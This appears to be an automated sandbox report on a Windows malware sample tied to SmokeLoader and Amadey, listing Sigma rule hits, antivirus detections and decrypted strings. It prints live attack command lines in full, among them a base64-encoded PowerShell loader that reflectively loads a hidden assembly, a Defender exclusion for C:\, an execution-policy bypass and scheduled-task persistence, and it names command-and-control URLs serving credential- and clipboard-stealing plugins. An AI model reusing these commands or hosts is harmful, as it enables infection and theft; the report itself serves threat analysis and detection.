Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gRGVjb21wcmVzc0J5dGVzKCRjb21wcmVzc2VkRGF0YSkgeyAkbXMgPSBbSU8uTWVtb3J5U3RyZWFtXTo6bmV3KChbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRjb21wcmVzc2VkRGF0YSkpKTsgJG1zLlBvc2l0aW9uID0gMDsgJGRlZmxhdGVTdHJlYW0gPSBbSU8uQ29tcHJlc3Npb24uRGVmbGF0ZVN0cmVhbV06Om5ldygkbXMsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsgJGJ1ZmZlciA9IFtieXRlW11dOjpuZXcoNDA5Nik7ICRtcyA9IFtJTy5NZW1vcnlTdHJlYW1dOjpuZXcoKTsgd2hpbGUgKCR0cnVlKSB7ICRjb3VudCA9ICRkZWZsYXRlU3RyZWFtLlJlYWQoJGJ1ZmZlciwgMCwgJGJ1ZmZlci5MZW5ndGgpOyBpZiAoJGNvdW50IC1lcSAwKSB7IGJyZWFrIH0gJG1zLldyaXRlKCRidWZmZXIsIDAsICRjb3VudCkgfSAkZGVmbGF0ZVN0cmVhbS5DbG9zZSgpOyAkbXMuVG9BcnJheSgpIH0NCg0KZnVuY3Rpb24gUmV2ZXJzZVN0cmluZygkaW5wdXRTdHJpbmcpIHsNCiAgICAkY2hhckFycmF5ID0gJGlucHV0U3RyaW5nLlRvQ2hhckFycmF5KCkgICMgQ29udmVydCBzdHJpbmcgdG8gY2hhcmFjdGVyIGFycmF5DQogICAgJHJldmVyc2VkQXJyYXkgPSAkY2hhckFycmF5Wy0xLi4tKCRjaGFyQXJyYXkuTGVuZ3RoKV0gICMgUmV2ZXJzZSB0aGUgYXJyYXkNCiAgICAkcmV2ZXJzZWRTdHJpbmcgPSAtam9pbiAkcmV2ZXJzZWRBcnJheSAgIyBDb252ZXJ0IHRoZSByZXZlcnNlZCBhcnJheSBiYWNrIHRvIGEgc3RyaW5nDQogICAgcmV0dXJuICRyZXZlcnNlZFN0cmluZw0KfQ0KDQpmdW5jdGlvbiBDbG9zZS1Qcm9jZXNzIHsNCiAgICBwYXJhbSgNCiAgICAgICAgW3N0cmluZ10kUHJvY2Vzc05hbWUNCiAgICApDQoNCiAgICAkcHJvY2VzcyA9IEdldC1Qcm9jZXNzIC1OYW1lICRQcm9jZXNzTmFtZSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZQ0KDQogICAgaWYgKCRwcm9jZXNzIC1uZSAkbnVsbCkgew0KICAgICAgICBTdG9wLVByb2Nlc3MgLU5hbWUgJFByb2Nlc3NOYW1lIC1Gb3JjZQ0KCX0NCn0NCg0KZnVuY3Rpb24gQ29udmVydC1Bc2NpaVRvU3RyaW5nKCRhc2NpaUFycmF5KXsNCiRvZmZTZXRJbnRlZ2VyPTEyMzsNCiRkZWNvZGVkU3RyaW5nPSROdWxsOw0KZm9yZWFjaCgkYXNjaWlJbnRlZ2VyIGluICRhc2NpaUFycmF5KXskZGVjb2RlZFN0cmluZys9W2NoYXJdKCRhc2NpaUludGVnZXItJG9mZlNldEludGVnZXIpfTsNCnJldHVybiAkZGVjb2RlZFN0cmluZ307DQoNCiRlbmNvZGVkQXJyYXkgPSBAKDE1OSwyMjAsMjM4LDIzOCwyMjQsMjMyLDIyMSwyMzEsMjQ0LDE2OSwxOTIsMjMzLDIzOSwyMzcsMjQ0LDIwMywyMzQsMjI4LDIzMywyMzksMTY5LDE5NiwyMzMsMjQxLDIzNCwyMzAsMjI0LDE2MywxNTksMjMzLDI0MCwyMzEsMjMxLDE2NywxNTksMjMzLDI0MCwyMzEsMjMxLDE2NCwxODIpDQokZGVjb2RlZFN0cmluZyA9IENvbnZlcnQtQXNjaWlUb1N0cmluZyAkZW5jb2RlZEFycmF5DQoNCg0KJGZpbGVQYXRoID0gSm9pbi1QYXRoICRlbnY6VXNlclByb2ZpbGUgIlVuZExkbC5iYXQiDQokbGFzdExpbmUgPSBHZXQtQ29udGVudCAtUGF0aCAkZmlsZVBhdGggfCBTZWxlY3QtT2JqZWN0IC1MYXN0IDENCiRjbGVhbmVkTGluZSA9ICRsYXN0TGluZSAtcmVwbGFjZSAnXjo6Jw0KJHJldmVyc2UgPSBSZXZlcnNlU3RyaW5nICRjbGVhbmVkTGluZQ0KJGRlY29tcHJlc3NlZEJ5dGUgPSBEZWNvbXByZXNzQnl0ZXMgLWNvbXByZXNzZWREYXRhICRyZXZlcnNlDQoNCiRhc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW2J5dGVbXV0kZGVjb21wcmVzc2VkQnl0ZSkNCg0KJGFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChbYnl0ZVtdXSRkZWNvbXByZXNzZWRCeXRlKQ0KDQpJbnZva2UtRXhwcmVzc2lvbiAkZGVjb2RlZFN0cmluZw0KDQpDbG9zZS1Qcm9jZXNzIC1Qcm9jZXNzTmFtZSAiY21kIg==')) | Out-File -FilePath 'C:\Users\user\UndLdl.ps1' -Encoding UTF8", CommandLine: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -command "[System.Text.Encod

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Source: Process started

Sigma detected: PowerShell Base64 Encoded Invoke Keyword

Source: Process started

Author: pH-T (Nextron Systems), Harjot Singh, @cyb3rjy0t: Data: Command: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gRGVjb21wcmVzc0J5dGVzKCRjb21wcmVzc2VkRGF0YSkgeyAkbXMgPSBbSU8uTWVtb3J5U3RyZWFtXTo6bmV3KChbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRjb21wcmVzc2VkRGF0YSkpKTsgJG1zLlBvc2l0aW9uID0gMDsgJGRlZmxhdGVTdHJlYW0gPSBbSU8uQ29tcHJlc3Npb24uRGVmbGF0ZVN0cmVhbV06Om5ldygkbXMsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsgJGJ1ZmZlciA9IFtieXRlW11dOjpuZXcoNDA5Nik7ICRtcyA9IFtJTy5NZW1vcnlTdHJlYW1dOjpuZXcoKTsgd2hpbGUgKCR0cnVlKSB7ICRjb3VudCA9ICRkZWZsYXRlU3RyZWFtLlJlYWQoJGJ1ZmZlciwgMCwgJGJ1ZmZlci5MZW5ndGgpOyBpZiAoJGNvdW50IC1lcSAwKSB7IGJyZWFrIH0gJG1zLldyaXRlKCRidWZmZXIsIDAsICRjb3VudCkgfSAkZGVmbGF0ZVN0cmVhbS5DbG9zZSgpOyAkbXMuVG9BcnJheSgpIH0NCg0KZnVuY3Rpb24gUmV2ZXJzZVN0cmluZygkaW5wdXRTdHJpbmcpIHsNCiAgICAkY2hhckFycmF5ID0gJGlucHV0U3RyaW5nLlRvQ2hhckFycmF5KCkgICMgQ29udmVydCBzdHJpbmcgdG8gY2hhcmFjdGVyIGFycmF5DQogICAgJHJldmVyc2VkQXJyYXkgPSAkY2hhckFycmF5Wy0xLi4tKCRjaGFyQXJyYXkuTGVuZ3RoKV0gICMgUmV2ZXJzZSB0aGUgYXJyYXkNCiAgICAkcmV2ZXJzZWRTdHJpbmcgPSAtam9pbiAkcmV2ZXJzZWRBcnJheSAgIyBDb252ZXJ0IHRoZSByZXZlcnNlZCBhcnJheSBiYWNrIHRvIGEgc3RyaW5nDQogICAgcmV0dXJuICRyZXZlcnNlZFN0cmluZw0KfQ0KDQpmdW5jdGlvbiBDbG9zZS1Qcm9jZXNzIHsNCiAgICBwYXJhbSgNCiAgICAgICAgW3N0cmluZ10kUHJvY2Vzc05hbWUNCiAgICApDQoNCiAgICAkcHJvY2VzcyA9IEdldC1Qcm9jZXNzIC1OYW1lICRQcm9jZXNzTmFtZSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZQ0KDQogICAgaWYgKCRwcm9jZXNzIC1uZSAkbnVsbCkgew0KICAgICAgICBTdG9wLVByb2Nlc3MgLU5hbWUgJFByb2Nlc3NOYW1lIC1Gb3JjZQ0KCX0NCn0NCg0KZnVuY3Rpb24gQ29udmVydC1Bc2NpaVRvU3RyaW5nKCRhc2NpaUFycmF5KXsNCiRvZmZTZXRJbnRlZ2VyPTEyMzsNCiRkZWNvZGVkU3RyaW5nPSROdWxsOw0KZm9yZWFjaCgkYXNjaWlJbnRlZ2VyIGluICRhc2NpaUFycmF5KXskZGVjb2RlZFN0cmluZys9W2NoYXJdKCRhc2NpaUludGVnZXItJG9mZlNldEludGVnZXIpfTsNCnJldHVybiAkZGVjb2RlZFN0cmluZ307DQoNCiRlbmNvZGVkQXJyYXkgPSBAKDE1OSwyMjAsMjM4LDIzOCwyMjQsMjMyLDIyMSwyMzEsMjQ0LDE2OSwxOTIsMjMzLDIzOSwyMzcsMjQ0LDIwMywyMzQsMjI4LDIzMywyMzksMTY5LDE5NiwyMzMsMjQxLDIzNCwyMzAsMjI0LDE2MywxNTksMjMzLDI0MCwyMzEsMjMxLDE2NywxNTksMjMzLDI0MCwyMzEsMjMxLDE2NCwxODIpDQokZGVjb2RlZFN0cmluZyA9IENvbnZlcnQtQXNjaWlUb1N0cmluZyAkZW5jb2RlZEFycmF5DQoNCg0KJGZpbGVQYXRoID0gSm9pbi1QYXRoICRlbnY6VXNlclByb2ZpbGUgIlVuZExkbC5iYXQiDQokbGFzdExpbmUgPSBHZXQtQ29udGVudCAtUGF0aCAkZmlsZVBhdGggfCBTZWxlY3QtT2JqZWN0IC1MYXN0IDENCiRjbGVhbmVkTGluZSA9ICRsYXN0TGluZSAtcmVwbGFjZSAnXjo6Jw0KJHJldmVyc2UgPSBSZXZlcnNlU3RyaW5nICRjbGVhbmVkTGluZQ0KJGRlY29tcHJlc3NlZEJ5dGUgPSBEZWNvbXByZXNzQnl0ZXMgLWNvbXByZXNzZWREYXRhICRyZXZlcnNlDQoNCiRhc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW2J5dGVbXV0kZGVjb21wcmVzc2VkQnl0ZSkNCg0KJGFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChbYnl0ZVtdXSRkZWNvbXByZXNzZWRCeXRlKQ0KDQpJbnZva2UtRXhwcmVzc2lvbiAkZGVjb2RlZFN0cmluZw0KDQpDbG9zZS1Qcm9jZXNzIC1Qcm9jZXNzTmFtZSAiY21kIg==')) | Out-File -FilePath 'C:\Users\user\UndLdl.ps1' -Encoding UTF8", CommandLine: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -command "[System.Text.Encod

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\'", CommandLine: powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\'", CommandLine|base64offset|contains: hv)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "cmd.exe", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4040, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath 'C:\'", ProcessId: 6056, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: "wscript.exe" "C:\Users\user\start.vbs", CommandLine: "wscript.exe" "C:\Users\user\start.vbs", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Users\user\Desktop\xwREqjHUEv.exe", ParentImage: C:\Users\user\Desktop\xwREqjHUEv.exe, ParentProcessId: 1788, ParentProcessName: xwREqjHUEv.exe, ProcessCommandLine: "wscript.exe" "C:\Users\user\start.vbs", ProcessId: 6548, ProcessName: wscript.exe

Sigma detected: Change PowerShell Policies to an Insecure Level

Source: Process started

Author: frack113: Data: Command: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\user\UndLdl.ps1", CommandLine: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\user\UndLdl.ps1", CommandLine|base64offset|contains: L^rbs'2, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: C:\Windows\system32\cmd.exe /c ""C:\Users\user\temp.bat" ", ParentImage: C:\Windows\SysWOW64\cmd.exe, ParentProcessId: 3816, ParentProcessName: cmd.exe, ProcessCommandLine: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -File "C:\Users\user\UndLdl.ps1", ProcessId: 5720, ProcessName: powershell.exe

Sigma detected: Execution of Suspicious File Type Extension

Source: Process started

Author: Max Altgelt (Nextron Systems): Data: Command: C:\Users\user\AppData\Roaming\gfiecjd, CommandLine: C:\Users\user\AppData\Roaming\gfiecjd, CommandLine|base64offset|contains: , Image: C:\Users\user\AppData\Roaming\gfiecjd, NewProcessName: C:\Users\user\AppData\Roaming\gfiecjd, OriginalFileName: C:\Users\user\AppData\Roaming\gfiecjd, ParentCommandLine: , ParentImage: , ParentProcessId: 1068, ProcessCommandLine: C:\Users\user\AppData\Roaming\gfiecjd, ProcessId: 6768, ProcessName: gfiecjd

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Suspicious Add Scheduled Task Parent

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN Utsysc.exe /TR "C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe" /F, CommandLine: "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN Utsysc.exe /TR "C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe" /F, CommandLine|base64offset|contains: *j, Image: C:\Windows\SysWOW64\schtasks.exe, NewProcessName: C:\Windows\SysWOW64\schtasks.exe, OriginalFileName: C:\Windows\SysWOW64\schtasks.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe" , ParentImage: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe, ParentProcessId: 4856, ParentProcessName: Utsysc.exe, ProcessCommandLine: "C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /MO 1 /TN Utsysc.exe /TR "C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe" /F, ProcessId: 4444, ProcessName: schtasks.exe

Sigma detected: Suspicious Schtasks From Env Var Folder

Source: Process started

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: "wscript.exe" "C:\Users\user\start.vbs", CommandLine: "wscript.exe" "C:\Users\user\start.vbs", CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\wscript.exe, NewProcessName: C:\Windows\SysWOW64\wscript.exe, OriginalFileName: C:\Windows\SysWOW64\wscript.exe, ParentCommandLine: "C:\Users\user\Desktop\xwREqjHUEv.exe", ParentImage: C:\Users\user\Desktop\xwREqjHUEv.exe, ParentProcessId: 1788, ParentProcessName: xwREqjHUEv.exe, ProcessCommandLine: "wscript.exe" "C:\Users\user\start.vbs", ProcessId: 6548, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -command "[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gRGVjb21wcmVzc0J5dGVzKCRjb21wcmVzc2VkRGF0YSkgeyAkbXMgPSBbSU8uTWVtb3J5U3RyZWFtXTo6bmV3KChbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKCRjb21wcmVzc2VkRGF0YSkpKTsgJG1zLlBvc2l0aW9uID0gMDsgJGRlZmxhdGVTdHJlYW0gPSBbSU8uQ29tcHJlc3Npb24uRGVmbGF0ZVN0cmVhbV06Om5ldygkbXMsIFtJTy5Db21wcmVzc2lvbi5Db21wcmVzc2lvbk1vZGVdOjpEZWNvbXByZXNzKTsgJGJ1ZmZlciA9IFtieXRlW11dOjpuZXcoNDA5Nik7ICRtcyA9IFtJTy5NZW1vcnlTdHJlYW1dOjpuZXcoKTsgd2hpbGUgKCR0cnVlKSB7ICRjb3VudCA9ICRkZWZsYXRlU3RyZWFtLlJlYWQoJGJ1ZmZlciwgMCwgJGJ1ZmZlci5MZW5ndGgpOyBpZiAoJGNvdW50IC1lcSAwKSB7IGJyZWFrIH0gJG1zLldyaXRlKCRidWZmZXIsIDAsICRjb3VudCkgfSAkZGVmbGF0ZVN0cmVhbS5DbG9zZSgpOyAkbXMuVG9BcnJheSgpIH0NCg0KZnVuY3Rpb24gUmV2ZXJzZVN0cmluZygkaW5wdXRTdHJpbmcpIHsNCiAgICAkY2hhckFycmF5ID0gJGlucHV0U3RyaW5nLlRvQ2hhckFycmF5KCkgICMgQ29udmVydCBzdHJpbmcgdG8gY2hhcmFjdGVyIGFycmF5DQogICAgJHJldmVyc2VkQXJyYXkgPSAkY2hhckFycmF5Wy0xLi4tKCRjaGFyQXJyYXkuTGVuZ3RoKV0gICMgUmV2ZXJzZSB0aGUgYXJyYXkNCiAgICAkcmV2ZXJzZWRTdHJpbmcgPSAtam9pbiAkcmV2ZXJzZWRBcnJheSAgIyBDb252ZXJ0IHRoZSByZXZlcnNlZCBhcnJheSBiYWNrIHRvIGEgc3RyaW5nDQogICAgcmV0dXJuICRyZXZlcnNlZFN0cmluZw0KfQ0KDQpmdW5jdGlvbiBDbG9zZS1Qcm9jZXNzIHsNCiAgICBwYXJhbSgNCiAgICAgICAgW3N0cmluZ10kUHJvY2Vzc05hbWUNCiAgICApDQoNCiAgICAkcHJvY2VzcyA9IEdldC1Qcm9jZXNzIC1OYW1lICRQcm9jZXNzTmFtZSAtRXJyb3JBY3Rpb24gU2lsZW50bHlDb250aW51ZQ0KDQogICAgaWYgKCRwcm9jZXNzIC1uZSAkbnVsbCkgew0KICAgICAgICBTdG9wLVByb2Nlc3MgLU5hbWUgJFByb2Nlc3NOYW1lIC1Gb3JjZQ0KCX0NCn0NCg0KZnVuY3Rpb24gQ29udmVydC1Bc2NpaVRvU3RyaW5nKCRhc2NpaUFycmF5KXsNCiRvZmZTZXRJbnRlZ2VyPTEyMzsNCiRkZWNvZGVkU3RyaW5nPSROdWxsOw0KZm9yZWFjaCgkYXNjaWlJbnRlZ2VyIGluICRhc2NpaUFycmF5KXskZGVjb2RlZFN0cmluZys9W2NoYXJdKCRhc2NpaUludGVnZXItJG9mZlNldEludGVnZXIpfTsNCnJldHVybiAkZGVjb2RlZFN0cmluZ307DQoNCiRlbmNvZGVkQXJyYXkgPSBAKDE1OSwyMjAsMjM4LDIzOCwyMjQsMjMyLDIyMSwyMzEsMjQ0LDE2OSwxOTIsMjMzLDIzOSwyMzcsMjQ0LDIwMywyMzQsMjI4LDIzMywyMzksMTY5LDE5NiwyMzMsMjQxLDIzNCwyMzAsMjI0LDE2MywxNTksMjMzLDI0MCwyMzEsMjMxLDE2NywxNTksMjMzLDI0MCwyMzEsMjMxLDE2NCwxODIpDQokZGVjb2RlZFN0cmluZyA9IENvbnZlcnQtQXNjaWlUb1N0cmluZyAkZW5jb2RlZEFycmF5DQoNCg0KJGZpbGVQYXRoID0gSm9pbi1QYXRoICRlbnY6VXNlclByb2ZpbGUgIlVuZExkbC5iYXQiDQokbGFzdExpbmUgPSBHZXQtQ29udGVudCAtUGF0aCAkZmlsZVBhdGggfCBTZWxlY3QtT2JqZWN0IC1MYXN0IDENCiRjbGVhbmVkTGluZSA9ICRsYXN0TGluZSAtcmVwbGFjZSAnXjo6Jw0KJHJldmVyc2UgPSBSZXZlcnNlU3RyaW5nICRjbGVhbmVkTGluZQ0KJGRlY29tcHJlc3NlZEJ5dGUgPSBEZWNvbXByZXNzQnl0ZXMgLWNvbXByZXNzZWREYXRhICRyZXZlcnNlDQoNCiRhc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoW2J5dGVbXV0kZGVjb21wcmVzc2VkQnl0ZSkNCg0KJGFzc2VtYmx5ID0gW1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5XTo6TG9hZChbYnl0ZVtdXSRkZWNvbXByZXNzZWRCeXRlKQ0KDQpJbnZva2UtRXhwcmVzc2lvbiAkZGVjb2RlZFN0cmluZw0KDQpDbG9zZS1Qcm9jZXNzIC1Qcm9jZXNzTmFtZSAiY21kIg==')) | Out-File -FilePath 'C:\Users\user\UndLdl.ps1' -Encoding UTF8", CommandLine: "C:\Windows\SysWow64\WindowsPowerShell\v1.0\powershell.exe" -command "[System.Text.Encod

Sigma detected: PowerShell Script Dropped Via PowerShell.EXE

Source: File created

Author: frack113: Data: EventID: 11, Image: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 2964, TargetFilename: C:\Users\user\UndLdl.ps1

Snort Signatures

⊘No Snort rule has matched

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus detection for URL or domain

Source: http://pesterbdd.com/images/Pester.png	URL Reputation: Label: malware
Source: http://pesterbdd.com/images/Pester.png	URL Reputation: Label: malware
Source: http://atillapro.com/vsdjcn3khS/Plugins/cred64.dll	Avira URL Cloud: Label: malware
Source: https://atillapro.com/	Avira URL Cloud: Label: malware
Source: atillapro.com/vsdjcn3khS/index.php	Avira URL Cloud: Label: malware
Source: http://atillapro.com/	Avira URL Cloud: Label: malware
Source: http://atillapro.com/vsdjcn3khS/index.php?scr=1	Avira URL Cloud: Label: malware
Source: http://atillapro.com/vsdjcn3khS/Plugins/clip64.dll	Avira URL Cloud: Label: malware
Source: http://atillapro.com/vsdjcn3khS/index.php	Avira URL Cloud: Label: malware

Antivirus detection for dropped file

Source: C:\Users\user\AppData\Roaming\gfiecjd	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Users\user\AppData\Local\Temp\F557.exe	Avira: detection malicious, Label: TR/AD.Nekark.nsorh
Source: C:\Users\user\AppData\Roaming\D4C0.vmt.exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Users\user\AppData\Local\Temp\F324.exe	Avira: detection malicious, Label: TR/Crypt.XPACK.Gen
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Avira: detection malicious, Label: TR/AD.Nekark.nsorh

Found malware configuration

Source: 00000016.00000002.2788977995.00000000001F0000.00000004.00001000.00020000.00000000.sdmp	Malware Configuration Extractor: SmokeLoader {"Version": 2022, "C2 list": ["http://atillapro.com/", "https://atillapro.com/"]}
Source: 31.0.Utsysc.exe.5f0000.0.unpack	Malware Configuration Extractor: Amadey {"C2 url": "atillapro.com/vsdjcn3khS/index.php", "Version": "4.12"}

Multi AV Scanner detection for domain / URL

Source: atillapro.com	Virustotal: Detection: 16%	Perma Link
Source: atillapro.com/vsdjcn3khS/index.php	Virustotal: Detection: 15%	Perma Link
Source: http://atillapro.com/vsdjcn3khS/index.php?scr=1	Virustotal: Detection: 12%	Perma Link
Source: http://atillapro.com/vsdjcn3khS/Plugins/cred64.dll	Virustotal: Detection: 19%	Perma Link
Source: http://atillapro.com/vsdjcn3khS/index.php	Virustotal: Detection: 15%	Perma Link
Source: https://atillapro.com/	Virustotal: Detection: 15%	Perma Link
Source: http://atillapro.com/	Virustotal: Detection: 16%	Perma Link
Source: http://atillapro.com/vsdjcn3khS/Plugins/clip64.dll	Virustotal: Detection: 19%	Perma Link

Multi AV Scanner detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\F324.exe	ReversingLabs: Detection: 75%
Source: C:\Users\user\AppData\Local\Temp\F324.exe	Virustotal: Detection: 70%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\F557.exe	ReversingLabs: Detection: 83%
Source: C:\Users\user\AppData\Local\Temp\F557.exe	Virustotal: Detection: 81%	Perma Link
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	ReversingLabs: Detection: 83%
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Virustotal: Detection: 81%	Perma Link
Source: C:\Users\user\AppData\Roaming\D4C0.vmt.exe	ReversingLabs: Detection: 75%
Source: C:\Users\user\AppData\Roaming\D4C0.vmt.exe	Virustotal: Detection: 69%	Perma Link
Source: C:\Users\user\AppData\Roaming\gfiecjd	ReversingLabs: Detection: 75%
Source: C:\Users\user\AppData\Roaming\gfiecjd	Virustotal: Detection: 69%	Perma Link
Source: C:\Windows\SoftwareDistribution\SLS\E7A50285-D08D-499D-9FF8-180FDC2332BC\TMP2810.tmp (copy)	ReversingLabs: Detection: 75%
Source: C:\Windows\SoftwareDistribution\SLS\E7A50285-D08D-499D-9FF8-180FDC2332BC\TMP2810.tmp (copy)	Virustotal: Detection: 69%	Perma Link

Multi AV Scanner detection for submitted file

Source: xwREqjHUEv.exe

Virustotal: Detection: 23%

Perma Link

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Roaming\gfiecjd	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\F557.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Roaming\D4C0.vmt.exe	Joe Sandbox ML: detected
Source: C:\Users\user\AppData\Local\Temp\bb8ef99577\Utsysc.exe	Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 31.0.Utsysc.exe.5f0000.0.unpack	String decryptor: atillapro.com
Source: 31.0.Utsysc.exe.5f0000.0.unpack	String decryptor: /vsdjcn3khS/index.php
Source: 31.0.Utsysc.exe.5f0000.0.unpack	String decryptor: S-%lu-
Source: 31.0.Utsysc.exe.5f0000.0.unpack	String decryptor: bb8ef99577
Source: 31.0.Utsysc.exe.5f0000.0.unpack	String decryptor: Utsysc.exe
Source: 31.0.Utsysc.exe.5f0000.0.unpack	String decryptor: SCHTASKS
Source: 31.0.Utsysc.exe.5f0000.0.unpack	String decryptor: /Create /SC MINUTE /MO 1 /TN
Source: 31.0.Utsysc.exe.5f0000.0.unpack	String decryptor: /TR "
Source: 31.0.Utsysc.exe.5f0000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
Source: 31.0.Utsysc.exe.5f0000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
Source: 31.0.Utsysc.exe.5f0000.0.unpack	String decryptor: Startup
Source: 31.0.Utsysc.exe.5f0000.0.unpack	String decryptor: cmd /C RMDIR /s/q
Source: 31.0.Utsysc.exe.5f0000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Run
Source: 31.0.Utsysc.exe.5f0000.0.unpack	String decryptor: rundll32
Source: 31.0.Utsysc.exe.5f0000.0.unpack	String decryptor: /Delete /TN "
Source: 31.0.Utsysc.exe.5f0000.0.unpack	String decryptor: Programs
Source: 31.0.Utsysc.exe.5f0000.0.unpack	String decryptor: SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
Source: 31.0.Utsysc.exe.5f0000.0.unpack	String decryptor: %USERPROFILE%
Source: 31.0.Utsysc.exe.5f0000.0.unpack	String decryptor: cred.dll\|clip.dll\|
Source: 31.0.Utsysc.exe.5f0000.0.unpack	String decryptor: http://
Source: 31.0.Utsysc.exe.5f0000.0.unpack	String decryptor: https://
Source: 31.0.Utsysc.exe.5f0000.0.unpack	String decryptor: /Plugins/
Source: 31.0.Utsysc.exe.5f0000.0.unpack	String decryptor: &unit=
Source: 31.0.Utsysc.exe.5f0000.0.unpack	String decryptor: shell32.dll
Source: 31.0.Utsysc.exe.5f0000.0.unpack	String decryptor: kernel32.dll
Source: 31.0.Utsysc.exe.5f0000.0.unpack	String decryptor: GetNativeSystemInfo
Source: 31.0.Utsysc.exe.5f0000.0.unpack	String decryptor: ProgramData\
Source: 31.0.Utsysc.exe.5f0000.0.unpack	String decryptor: AVAST Software
Source: 31.0.Utsysc.exe.5f0000.0.unpack	String decryptor: Kaspersky Lab
Source: 31.0.Utsysc.exe.5f0000.0.unpack	String decryptor: Panda Security
Source: 31.0.Utsysc.exe.5f0000.0.unpack	String decryptor: Doctor Web
Source: 31.0.Utsysc.exe.5f0000.0.unpack	String decryptor: 360TotalSecurity
Source: 31.0.Utsysc.exe.5f0000.0.unpack	String decryptor: Bitdefender
